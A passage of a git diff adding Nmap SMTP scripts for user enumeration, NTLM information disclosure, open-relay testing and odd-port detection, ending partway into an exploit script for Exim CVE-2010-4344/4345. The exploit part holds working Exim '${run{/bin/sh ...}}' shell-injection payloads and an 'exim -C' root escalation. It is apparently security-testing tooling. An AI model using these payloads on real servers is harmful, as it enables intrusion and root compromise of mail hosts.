+---Get the method or methods to be used. If the user didn't specify any
+-- methods, the default order is RCPT, VRFY and then EXPN.
+--
+-- @return A table containing the methods to try
+function get_method()
+ local result = {}
+
+ local methods = stdnse.get_script_args('smtp-enum-users.methods')
+ if methods and type(methods) == "table" then
+ -- For each method specified.
+ for _, method in ipairs(methods) do
+ -- Are the elements of the argument valid methods.
+ local upper = string.upper(method)
+
+ if (upper == "RCPT") or (upper == "EXPN") or
+ (upper == "VRFY") then
+ table.insert(result, upper)
+ else
+ return false, method
+ end
+ end
+ end
+
+ -- The methods weren't specified.
+ if #result == 0 then
+ result = { "RCPT", "VRFY", "EXPN" }
+ else
+ result = table_unique(result)
+ end
+
+ return true, result
+end
+
+---Generic function to perform user discovery.
+--
+-- @param socket Socket used to send the command
+-- @param command Command to be used in the discovery
+-- @param username User name to test
+-- @param domain Domain to use in the command
+-- @return Status and depending on the code, a error message
+function do_gnrc(socket, command, username, domain)
+ local combinations = {
+ string.format("%s", username),
+ string.format("%s@%s", username, domain)
+ }
+
+ for index, combination in ipairs(combinations) do
+ -- Lets try to issue the command.
+ local status, response = smtp.query(socket, command, combination)
+
+ -- If this command fails to be sent, then something
+ -- went wrong with the connection.
+ if not status then
+ return STATUS_CODES.ERROR,
+ string.format("Failed to issue %s %s command (%s)\n",
+ command, combination, response)
+ end
+
+ if string.match(response, "^530") then
+ -- If the command failed, check if authentication is
+ -- needed because all the other attempts will fail.
+ return STATUS_CODES.AUTHENTICATION
+ elseif string.match(response, "^502") or
+ string.match(response, "^252") or
+ string.match(response, "^550") then
+ -- The server doesn't implement the command or it is disallowed.
+ return STATUS_CODES.NOTPERMITTED
+ elseif smtp.check_reply(command, response) then
+ -- User accepted.
+ if nmap.verbosity() > 1 then
+ return STATUS_CODES.VALID,
+ string.format("%s, %s", command, username)
+ else
+ return STATUS_CODES.VALID, username
+ end
+ end
+ end
+
+ return STATUS_CODES.INVALID
+end
+
+---Verify if a username is valid using the EXPN command (wrapper
+-- function for do_gnrc).
+--
+-- @param socket Socket used to send the command
+-- @param username User name to test
+-- @param domain Domain to use in the command
+-- @return Status and depending on the code, a error message
+function do_expn(socket, username, domain)
+ return do_gnrc(socket, "EXPN", username, domain)
+end
+
+---Verify if a username is valid using the VRFY command (wrapper
+-- function for do_gnrc).
+--
+-- @param socket Socket used to send the command
+-- @param username User name to test
+-- @param domain Domain to use in the command
+-- @return Status and depending on the code, a error message
+function do_vrfy(socket, username, domain)
+ return do_gnrc(socket, "VRFY", username, domain)
+end
+
+issued_from = false
+
+--- Verify if a username is valid using the RCPT method. It will only issue
+-- the MAIL FROM command if the issued_from flag is false. The MAIL FROM
+-- command does not need to be issued each time an RCPT TO is used. Otherwise
+-- it should also be issued a RSET command, and if there are many RSET
+-- commands the server might disconnect.
+--
+-- @param socket Socket used to send the command
+-- @param username User name to test
+-- @param domain Domain to use in the command
+-- @return Status and depending on the code, a error message
+function do_rcpt(socket, username, domain)
+ local status, response
+ if not issued_from then
+ -- Lets try to issue MAIL FROM command.
+ status, response = smtp.query(socket, "MAIL",
+ string.format("FROM:<usertest@%s>", domain))
+
+ if not status then
+ -- If this command fails to be sent, then something went wrong
+ -- with the connection.
+ return STATUS_CODES.ERROR,
+ string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
+ domain, response)
+ elseif string.match(response, "^530") then
+ -- If the command failed, check if authentication is needed
+ -- because all the other attempts will fail.
+ return STATUS_CODES.ERROR,
+ "Couldn't perform user enumeration, authentication needed"
+ elseif not smtp.check_reply("MAIL", response) then
+ -- Only accept 250 code as success.
+ return STATUS_CODES.NOTPERMITTED,
+ "Server did not accept the MAIL FROM command"
+ end
+ end
+
+ status, response = smtp.query(socket, "RCPT",
+ string.format("TO:<%s@%s>", username, domain))
+
+ if not status then
+ return STATUS_CODES.ERROR,
+ string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
+ username, domain, response)
+ elseif string.match(response, "^550") then
+ -- 550 User Unknown
+ return STATUS_CODES.UNKNOWN
+ elseif string.match(response, "^553") then
+ -- 553 Relaying Denied
+ return STATUS_CODES.NOTPERMITTED
+ elseif string.match(response, "^530") then
+ -- If the command failed, check if authentication is needed because
+ -- all the other attempts will fail.
+ return STATUS_CODES.AUTHENTICATION
+ elseif smtp.check_reply("RCPT", response) then
+ issued_from = true
+ -- User is valid.
+ if nmap.verbosity() > 1 then
+ return STATUS_CODES.VALID, string.format("RCPT, %s", username)
+ else
+ return STATUS_CODES.VALID, username
+ end
+ end
+
+ issued_from = true
+ return STATUS_CODES.INVALID
+end
+
+---Script function that does all the work.
+--
+-- @param host Target host
+-- @param port Target port
+-- @return The user accounts or a error message.
+function go(host, port)
+ -- Get the current usernames list from the file.
+ local status, nextuser = unpwdb.usernames()
+
+ if not status then
+ return false, "Failed to read the user names database"
+ end
+
+ local options = {
+ timeout = 10000,
+ recv_before = true,
+ ssl = true,
+ }
+ local domain = stdnse.get_script_args('smtp-enum-users.domain') or
+ smtp.get_domain(host)
+
+ local methods
+ status, methods = get_method()
+
+ if not status then
+ return false, string.format("Invalid method found, %s", methods)
+ end
+
+ local socket, response = smtp.connect(host, port, options)
+
+ -- Failed connection attempt.
+ if not socket then
+ return false, string.format("Couldn't establish connection on port %i",
+ port.number)
+ end
+
+ status, response = smtp.ehlo(socket, domain)
+ if not status then
+ return status, response
+ end
+
+ local result = {}
+
+ -- This function is used when something goes wrong with
+ -- the connection. It makes sure that if it found users before
+ -- the error occurred, they will be returned.
+ local failure = function(message)
+ if #result > 0 then
+ table.insert(result, message)
+ return true, result
+ else
+ return false, message
+ end
+ end
+
+ -- Get the first user to be tested.
+ local username = nextuser()
+
+ for index, method in ipairs(methods) do
+ while username do
+ if method == "RCPT" then
+ status, response = do_rcpt(socket, username, domain)
+ elseif method == "VRFY" then
+ status, response = do_vrfy(socket, username, domain)
+ elseif method == "EXPN" then
+ status, response = do_expn(socket, username, domain)
+ end
+
+ if status == STATUS_CODES.NOTPERMITTED then
+ -- Invalid method. Don't test anymore users with
+ -- the current method.
+ break
+ elseif status == STATUS_CODES.VALID then
+ -- User found, lets save it.
+ table.insert(result, response)
+ elseif status == STATUS_CODES.ERROR then
+ -- An error occurred with the connection.
+ return failure(response)
+ elseif status == STATUS_CODES.AUTHENTICATION then
+ smtp.quit(socket)
+ return false, "Couldn't perform user enumeration, authentication needed"
+ elseif status == STATUS_CODES.INVALID then
+ table.insert(result,
+ string.format("Method %s returned a unhandled status code.",
+ method))
+ break
+ end
+ username = nextuser()
+ end
+
+ -- No more users to test, don't test with other methods.
+ if username == nil then
+ break
+ end
+ end
+
+ smtp.quit(socket)
+ return true, result
+end
+
+action = function(host, port)
+ local status, result = go(host, port)
+
+ -- The go function returned true, lets check if it
+ -- didn't found any accounts.
+ if status and #result == 0 then
+ return stdnse.format_output(true, "Couldn't find any accounts")
+ end
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/smtp-ntlm-info.nse b/scripts/smtp-ntlm-info.nse
new file mode 100644
index 0000000..b331870
--- /dev/null
+++ b/scripts/smtp-ntlm-info.nse
@@ -0,0 +1,186 @@
+local datetime = require "datetime"
+local os = require "os"
+local smtp = require "smtp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote SMTP services with NTLM
+authentication enabled.
+
+Sending a SMTP NTLM authentication request with null credentials will
+cause the remote service to respond with a NTLMSSP message disclosing
+information to include NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 25,465,587 --script smtp-ntlm-info --script-args smtp-ntlm-info.domain=domain.com <target>
+--
+-- @output
+-- 25/tcp open smtp
+-- | smtp-ntlm-info:
+-- | Target_Name: ACTIVESMTP
+-- | NetBIOS_Domain_Name: ACTIVESMTP
+-- | NetBIOS_Computer_Name: SMTP-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: smtp-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVESMTP</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVESMTP</elem>
+-- <elem key="NetBIOS_Computer_Name">SMTP-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">smtp-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">6.1.7601</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+local ntlm_auth_blob = base64.enc( select(2,
+ smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ ))
+ )
+
+portrule = shortport.port_or_service({ 25, 465, 587 }, { "smtp", "smtps", "submission" })
+
+local function do_connect(host, port, domain)
+ local options = {
+ recv_before = true,
+ ssl = true,
+ }
+
+ local socket, response = smtp.connect(host, port, options)
+ if not socket then
+ return
+ end
+
+ -- Required to send EHLO
+ local status, response = smtp.ehlo(socket, domain)
+ if not status then
+ return
+ end
+
+ return socket
+end
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ -- Select domain name. Typically has no implication for this purpose.
+ local domain = stdnse.get_script_args(SCRIPT_NAME .. ".domain") or smtp.get_domain(host)
+
+ local socket = do_connect(host, port, domain)
+ if not socket then
+ return nil
+ end
+
+ -- Per RFC, do not attempt to upgrade to a TLS connection if already over TLS
+ if not shortport.ssl(host, port) then
+ -- After EHLO, attempt to upgrade to a TLS connection (may not be advertised)
+ -- Various implementations *require* this before accepting authentication requests
+ local status, response = smtp.starttls(socket)
+ if status then
+ -- Read line after upgrading the connection or timeout trying.
+ -- This may induce a delay, however, appears required under rare conditions
+ -- since reconnect_ssl does not support recv_before.
+ -- -- commenting this out, not needed in testing, but may crop up sometime.
+ --status, response = socket:receive_lines(1)
+ -- Per RFC, must EHLO again after connection upgrade
+ status, response = smtp.ehlo(socket, domain)
+ else
+ -- STARTTLS failed, which means smtp.lua sent QUIT and shut down the
+ -- connection. Try again without SSL
+ socket = do_connect(host, port, domain)
+ end
+ end
+
+ socket:send("AUTH NTLM\r\n")
+ local status, response = socket:receive()
+ if not response then
+ return
+ end
+
+ socket:send(ntlm_auth_blob .. "\r\n")
+ status, response = socket:receive()
+ if not response then
+ return
+ end
+ local recvtime = os.time()
+
+ socket:close()
+
+ -- Continue only if a 334 response code is returned
+ local response_decoded = string.match(response, "^334 (.*)")
+ if not response_decoded then
+ return
+ end
+
+ response_decoded = base64.dec(response_decoded)
+
+ -- Continue only if NTLMSSP response is returned
+ if not string.match(response_decoded, "^NTLMSSP") then
+ return nil
+ end
+
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)
+
+ if ntlm_decoded.timestamp and ntlm_decoded.timestamp > 0 then
+ stdnse.debug1("timestamp is %s", ntlm_decoded.timestamp)
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
diff --git a/scripts/smtp-open-relay.nse b/scripts/smtp-open-relay.nse
new file mode 100644
index 0000000..040d232
--- /dev/null
+++ b/scripts/smtp-open-relay.nse
@@ -0,0 +1,288 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to relay mail by issuing a predefined combination of SMTP commands. The goal
+of this script is to tell if a SMTP server is vulnerable to mail relaying.
+
+An SMTP server that works as an open relay, is a email server that does not verify if the
+user is authorised to send email from the specified email address. Therefore, users would
+be able to send email originating from any third-party email address that they want.
+
+The checks are done based in combinations of MAIL FROM and RCPT TO commands. The list is
+hardcoded in the source file. The script will output all the working combinations that the
+server allows if nmap is in verbose mode otherwise the script will print the number of
+successful tests. The script will not output if the server requires authentication.
+
+If debug is enabled and an error occurs while testing the target host, the error will be
+printed with the list of any combinations that were found prior to the error.
+]]
+
+---
+-- @usage
+-- nmap --script smtp-open-relay.nse [--script-args smtp-open-relay.domain=<domain>,smtp-open-relay.ip=<address>,...] -p 25,465,587 <host>
+--
+-- @output
+-- Host script results:
+-- | smtp-open-relay: Server is an open relay (1/16 tests)
+-- |_MAIL FROM:<antispam@insecure.org> -> RCPT TO:<relaytest@insecure.org>
+--
+-- @args smtp.domain or smtp-open-relay.domain Define the domain to be used in the anti-spam tests and EHLO command (default
+-- is nmap.scanme.org)
+-- @args smtp-open-relay.ip Use this to change the IP address to be used (default is the target IP address)
+-- @args smtp-open-relay.from Define the source email address to be used (without the domain, default is
+-- antispam)
+-- @args smtp-open-relay.to Define the destination email address to be used (without the domain, default is
+-- relaytest)
+
+-- changelog
+-- 2007-05-16 Arturo 'Buanzo' Busleiman <buanzo@buanzo.com.ar>
+-- + Added some strings to return in different places
+-- * Changed "HELO www.[ourdomain]" to "EHLO [ourdomain]"
+-- * Fixed some API differences
+-- * The "ourdomain" variable's contents are used instead of hardcoded "insecure.org". Settable by the user.
+-- * Fixed tags -> categories (reported by Jasey DePriest to nmap-dev)
+-- 2009-09-20 Duarte Silva <duarte.silva@serializing.me>
+-- * Rewrote the script
+-- + Added documentation and some more comments
+-- + Parameter to define the domain to be used instead of "ourdomain" variable
+-- + Parameter to define the IP address to be used instead of the target IP address
+-- * Script now detects servers that enforce authentication
+-- * Changed script categories from demo to discovery and intrusive
+-- * Renamed "spamtest" strings to "antispam"
+-- 2010-02-20 Duarte Silva <duarte.silva@serializing.me>
+-- * Renamed script parameters to follow the new naming convention
+-- * Fixed problem with broken connections
+-- * Changed script output to show all the successful tests
+-- * Changed from string concatenation to string formatting
+-- + External category
+-- + Now the script will issue the QUIT message as specified in the SMTP RFC
+-- 2010-02-27 Duarte Silva <duarte.silva@serializing.me>
+-- + More information in the script description
+-- + Script will output the reason for failed commands (at the connection level)
+-- * If some combinations were already found before an error, the script will report them
+-- 2010-03-07 Duarte Silva <duarte.silva@serializing.me>
+-- * Fixed socket left open when receive_lines function call fails
+-- * Minor comments changes
+-- 2010-03-14 Duarte Silva <duarte.silva@serializing.me>
+-- * Made the script a little more verbose
+-- 2011-06-03
+-- * Rewrite the script to use the smtp.lua library.
+
+author = "Arturo 'Buanzo' Busleiman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive","external"}
+
+
+portrule = shortport.port_or_service({ 25, 465, 587 },
+ { "smtp", "smtps", "submission" })
+
+---Gets the user specified parameters to be used in the tests.
+--
+--@param host Target host (used for the ip parameter default value)
+--@return Domain, from, to and ip to be used in the tests
+function get_parameters(host)
+ -- call smtp.get_domain() without the host table to use the
+ -- 'nmap.scanme.org' host name, we are scanning for open relays.
+ local domain = stdnse.get_script_args('smtp-open-relay.domain') or
+ smtp.get_domain()
+
+ local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
+
+ local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
+
+ local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
+
+ return domain, from, to, ip
+end
+
+function go(host, port)
+ local options = {
+ timeout = 10000,
+ recv_before = true,
+ ssl = true,
+ }
+
+ local result, status, index = {}
+
+ local domain, from, to, ip = get_parameters(host)
+
+ local socket, response = smtp.connect(host, port, options)
+ if not socket then
+ return false, string.format("Couldn't establish connection on port %i",
+ port.number)
+ end
+
+ local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
+
+ local status, response = smtp.ehlo(socket, domain)
+ if not status then
+ return status, response
+ end
+
+ if not srvname then
+ srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
+ end
+
+ -- Antispam tests.
+ local tests = {
+ {
+ from = "",
+ to = string.format("%s@%s", to, domain)
+ },
+ {
+ from = string.format("%s@%s", from, domain),
+ to = string.format("%s@%s", to, domain)
+ },
+ {
+ from = string.format("%s@%s", from, srvname),
+ to = string.format("%s@%s", to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s@%s", to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s%%%s@[%s]", to, domain, ip)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s%%%s@%s", to, domain, srvname)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("\"%s@%s\"", to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("\"%s%%%s\"", to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s@%s@[%s]", to, domain, ip)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s@%s@%s", to, domain, srvname)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("@[%s]:%s@%s", ip, to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("@%s:%s@%s", srvname, to, domain)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s!%s", domain, to)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s!%s@[%s]", domain, to, ip)
+ },
+ {
+ from = string.format("%s@[%s]", from, ip),
+ to = string.format("%s!%s@%s", domain, to, srvname)
+ },
+ }
+
+ -- This function is used when something goes wrong with the connection.
+ -- It makes sure that if it found working combinations before the error
+ -- occurred, they will be returned. If the debug flag is enabled the
+ -- error message will be appended to the combinations list.
+ local failure = function(message)
+ if #result > 0 then
+ table.insert(result, message)
+ return true, result
+ else
+ return false, message
+ end
+ end
+
+ for index = 1, #tests do
+ status, response = smtp.reset(socket)
+ if not status then
+ if string.match(response, "530") then
+ return false, "Server isn't an open relay, authentication needed"
+ end
+ return failure(response)
+ end
+
+ status, response = smtp.query(socket, "MAIL",
+ string.format("FROM:<%s>",
+ tests[index]["from"]))
+ -- If this command fails to be sent, then something went
+ -- wrong with the connection.
+ if not status then
+ return failure(string.format("Failed to issue %s command (%s)",
+ tests[index]["from"], response))
+ end
+
+ if string.match(response, "530") then
+ smtp.quit(socket)
+ return false, "Server isn't an open relay, authentication needed"
+ elseif smtp.check_reply("MAIL", response) then
+ -- Lets try to actually relay.
+ status, response = smtp.query(socket, "RCPT",
+ string.format("TO:<%s>",
+ tests[index]["to"]))
+ if not status then
+ return failure(string.format("Failed to issue %s command (%s)",
+ tests[index]["to"], response))
+ end
+
+ if string.match(response, "530") then
+ smtp.quit(socket)
+ return false, "Server isn't an open relay, authentication needed"
+ elseif smtp.check_reply("RCPT", response) then
+ -- Save the working from and to combination.
+ table.insert(result,
+ string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
+ tests[index]["from"], tests[index]["to"]))
+ end
+ end
+ end
+
+ smtp.quit(socket)
+ return true, result
+end
+
+action = function(host, port)
+ local status, result = go(host, port)
+
+ -- The go function returned false, this means that the result is
+ -- a simple error message.
+ if not status then
+ return result
+ else
+ -- Combinations were found. If verbosity is active, the script
+ -- will print all the successful tests. Otherwise it will only
+ -- print the conclusion.
+ if #result > 0 then
+ local final = {}
+ table.insert(final,
+ string.format("Server is an open relay (%i/16 tests)",
+ (#result)))
+
+ if nmap.verbosity() > 1 then
+ for index, test in ipairs(result) do
+ table.insert(final, test)
+ end
+ end
+
+ return table.concat(final, "\n ")
+ end
+
+ return "Server doesn't seem to be an open relay, all tests failed"
+ end
+end
diff --git a/scripts/smtp-strangeport.nse b/scripts/smtp-strangeport.nse
new file mode 100644
index 0000000..7613d63
--- /dev/null
+++ b/scripts/smtp-strangeport.nse
@@ -0,0 +1,29 @@
+description = [[
+Checks if SMTP is running on a non-standard port.
+
+This may indicate that crackers or script kiddies have set up a backdoor on the
+system to send spam or control the machine.
+]]
+
+---
+-- @output
+-- 22/tcp open smtp
+-- |_ smtp-strangeport: Mail server on unusual port: possible malware
+
+author = "Diman Todorov"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"malware", "safe"}
+
+portrule = function(host, port)
+ return port.service == "smtp" and
+ port.number ~= 25 and port.number ~= 465 and port.number ~= 587
+ and port.protocol == "tcp"
+ and port.state == "open"
+end
+
+action = function()
+ return "Mail server on unusual port: possible malware"
+end
+
diff --git a/scripts/smtp-vuln-cve2010-4344.nse b/scripts/smtp-vuln-cve2010-4344.nse
new file mode 100644
index 0000000..537e4ea
--- /dev/null
+++ b/scripts/smtp-vuln-cve2010-4344.nse
@@ -0,0 +1,461 @@
+local math = require "math"
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Checks for and/or exploits a heap overflow within versions of Exim
+prior to version 4.69 (CVE-2010-4344) and a privilege escalation
+vulnerability in Exim 4.72 and prior (CVE-2010-4345).
+
+The heap overflow vulnerability allows remote attackers to execute
+arbitrary code with the privileges of the Exim daemon
+(CVE-2010-4344). If the exploit fails then the Exim smtpd child will
+be killed (heap corruption).
+
+The script also checks for a privilege escalation vulnerability that
+affects Exim version 4.72 and prior. The vulnerability allows the exim
+user to gain root privileges by specifying an alternate configuration
+file using the -C option (CVE-2010-4345).
+
+The <code>smtp-vuln-cve2010-4344.exploit</code> script argument will make
+the script try to exploit the vulnerabilities, by sending more than 50MB of
+data, it depends on the message size limit configuration option of the
+Exim server. If the exploit succeed the <code>exploit.cmd</code> or
+<code>smtp-vuln-cve2010-4344.cmd</code> script arguments can be used to
+run an arbitrary command on the remote system, under the
+<code>Exim</code> user privileges. If this script argument is set then it
+will enable the <code>smtp-vuln-cve2010-4344.exploit</code> argument.
+
+To get the appropriate debug messages for this script, please use -d2.
+
+Some of the logic of this script is based on the metasploit
+exim4_string_format exploit.
+* http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format
+
+Reference:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345
+]]
+
+---
+-- @usage
+-- nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>
+-- nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 25/tcp open smtp
+-- | smtp-vuln-cve2010-4344:
+-- | Exim heap overflow vulnerability (CVE-2010-4344):
+-- | Exim (CVE-2010-4344): VULNERABLE
+-- | Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux
+-- | Exim privileges escalation vulnerability (CVE-2010-4345):
+-- | Exim (CVE-2010-4345): VULNERABLE
+-- | Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)
+-- |_ After 'id': uid=0(root) gid=128(Debian-exim) groups=0(root)
+--
+-- @args smtp-vuln-cve2010-4344.exploit The script will force the checks,
+-- and will try to exploit the Exim SMTP server.
+-- @args smtp-vuln-cve2010-4344.mailfrom Define the source email address to
+-- be used.
+-- @args smtp-vuln-cve2010-4344.mailto Define the destination email address
+-- to be used.
+-- @args exploit.cmd or smtp-vuln-cve2010-4344.cmd An arbitrary command to
+-- run under the <code>Exim</code> user privileges on the remote
+-- system. If this argument is set then, it will enable the
+-- <code>smtp-vuln-cve2010-4344.exploit</code> argument.
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service({25, 465, 587},
+ {"smtp", "smtps", "submission"})
+
+local function smtp_finish(socket, status, msg)
+ if socket then
+ smtp.quit(socket)
+ end
+ return status, msg
+end
+
+local function get_exim_banner(response)
+ local banner, version
+ banner = response:match("%d+%s(.+)")
+ if banner then
+ version = tonumber(banner:match("Exim%s([0-9%.]+)"))
+ end
+ return banner, version
+end
+
+local function send_recv(socket, data)
+ local st, ret = socket:send(data)
+ if st then
+ st, ret = socket:receive_lines(1)
+ end
+ return st, ret
+end
+
+-- Exploit the privileges escalation vulnerability CVE-2010-4345.
+-- return true, results (shell command results) If it was
+-- successfully exploited.
+local function escalate_privs(socket, smtp_opts)
+ local exploited, results = false, ""
+ local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
+ local exim_run = "exim -C"..tmp_file.." -q"
+ local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
+ tmp_file.."' }}"
+
+ stdnse.debug2("trying to escalate privileges")
+
+ local status, ret = send_recv(socket, "id\n")
+ if not status then
+ return status, ret
+ end
+ results = string.format(" Before 'id': %s",
+ string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
+
+ status, ret = send_recv(socket,
+ string.format("cat > %s << EOF\n",
+ tmp_file))
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, exim_spool.."\nEOF\n")
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, exim_run.."\n")
+ if not status then
+ return status, ret
+ end
+
+ status, ret = send_recv(socket, string.format("cat %s\n", tmp_file))
+ if not status then
+ return status, ret
+ elseif ret:match("uid=0%(root%)") then
+ exploited = true
+ results = results..string.format("\n After 'id': %s",
+ string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
+ stdnse.debug2("successfully exploited the Exim privileges escalation.")
+ end
+
+ -- delete tmp file, should we care about this ?
+ socket:send(string.format("rm -fr %s\n", tmp_file))
+ return exploited, results
+end
+
+-- Tries to exploit the heap overflow and the privilege escalation
+-- Returns true, exploit_status, possible values:
+-- nil Not vulnerable
+-- "heap" Vulnerable to the heap overflow
+-- "heap-exploited" The heap overflow vulnerability was exploited
+local function exploit_heap(socket, smtp_opts)
+ local exploited, ret = false, ""
+
+ stdnse.debug2("exploiting the heap overflow")
+
+ local status, response = smtp.mail(socket, smtp_opts.mailfrom)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.recipient(socket, smtp_opts.mailto)
+ if not status then
+ return status, response
+ end
+
+ -- send DATA command
+ status, response = smtp.datasend(socket)
+ if not status then
+ return status, response
+ end
+
+ local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
+ local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
+ local log_host = string.format("%s(%s)",
+ smtp_opts.ehlo_host ~= smtp_opts.domain and
+ smtp_opts.ehlo_host.." " or "",
+ smtp_opts.domain)
+ log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
+ "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
+ log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
+ msg_len, smtp_opts.size, smtp_opts.mailfrom,
+ smtp_opts.mailto)
+
+ log_buf_size = log_buf_size - 3
+ local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
+
+ while #log_buf < log_buf_size do
+ local hdr = string.format("%s: %s\n", nmap_hdr, filler)
+ local one = 2 + #hdr
+ local two = 2 * one
+ local left = log_buf_size - #log_buf
+ if left < two and left > one then
+ left = left - 4
+ local first = left / 2
+ hdr = string.sub(hdr, 0, first - 1).."\n"
+ hdrs = hdrs..hdr
+ log_buf = log_buf.." "..hdr
+ local second = left - first
+ hdr = string.format("%s: %s\n", nmap_hdr, filler)
+ hdr = string.sub(hdr, 0, second - 1).."\n"
+ end
+ hdrs = hdrs..hdr
+ log_buf = log_buf.." "..hdr
+ end
+
+ local hdrx = "HeaderX: "
+ for i = 1, 50 do
+ for fd = 3, 12 do
+ hdrx = hdrx..
+ string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
+ fd)
+ end
+ end
+
+ local function clean(socket, status, msg)
+ socket:close()
+ return status, msg
+ end
+
+ stdnse.debug1("sending forged mail, size: %.fMB", msg_len / (1024*1024))
+
